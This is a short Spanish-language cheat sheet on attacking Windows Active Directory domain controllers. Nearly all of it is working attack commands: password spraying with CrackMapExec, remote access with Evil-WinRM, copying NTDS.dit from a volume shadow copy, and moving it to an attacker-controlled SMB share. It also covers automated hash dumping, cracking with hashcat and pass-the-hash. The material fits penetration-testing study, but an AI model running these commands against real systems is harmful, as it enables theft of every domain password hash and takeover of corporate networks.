AD & NTDS.dit (Windows Server)

Active Directory es un servicio de directorio usado para administrar recursos en redes corporativas basadas en Windows. Los controladores de dominio (DC) manejan las solicitudes de autenticación, almacenamiento de creds y políticas de seguridad.

El archivo NTDS.dit en el DC almacena hashes de contraseñas de cuentas de dominio e información del esquema del dominio.

Ataques y técnicas

Ataque con CrackMapExec

$ crackmapexec smb <IP_DC> -u <usuario> -p <lista_contraseñas>

Se pueden crear listas de usuarios con info pública:

$ ./username-anarchy -i names.txt

Captura del Archivo NTDS.dit

Ubicación típica: %systemroot%\ntds\NTDS.dit

• Conexión al DC con Evil-WinRM:

$ evil-winrm -i <IP_DC> -u <usuario> -p <contraseña>

• Crear una copia del volumen (VSS):

vssadmin CREATE SHADOW /For=C:

• Copiar el archivo NTDS.dit:

cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

• Transferir al host atacante:

cmd.exe /c move C:\NTDS\NTDS.dit \\<IP_ATACANTE>\CompData

Captura con Crackmapexec (Automática)

$ crackmapexec smb <IP_DC> -u <usuario> -p <contraseña> --ntds

Descifrado de Hashes

$ hashcat -m 1000 hashes.txt ~/rockyou.txt

Pass-the-Hash

$ evil-winrm -i <IP_DC> -u <usuario> -H "<hash>"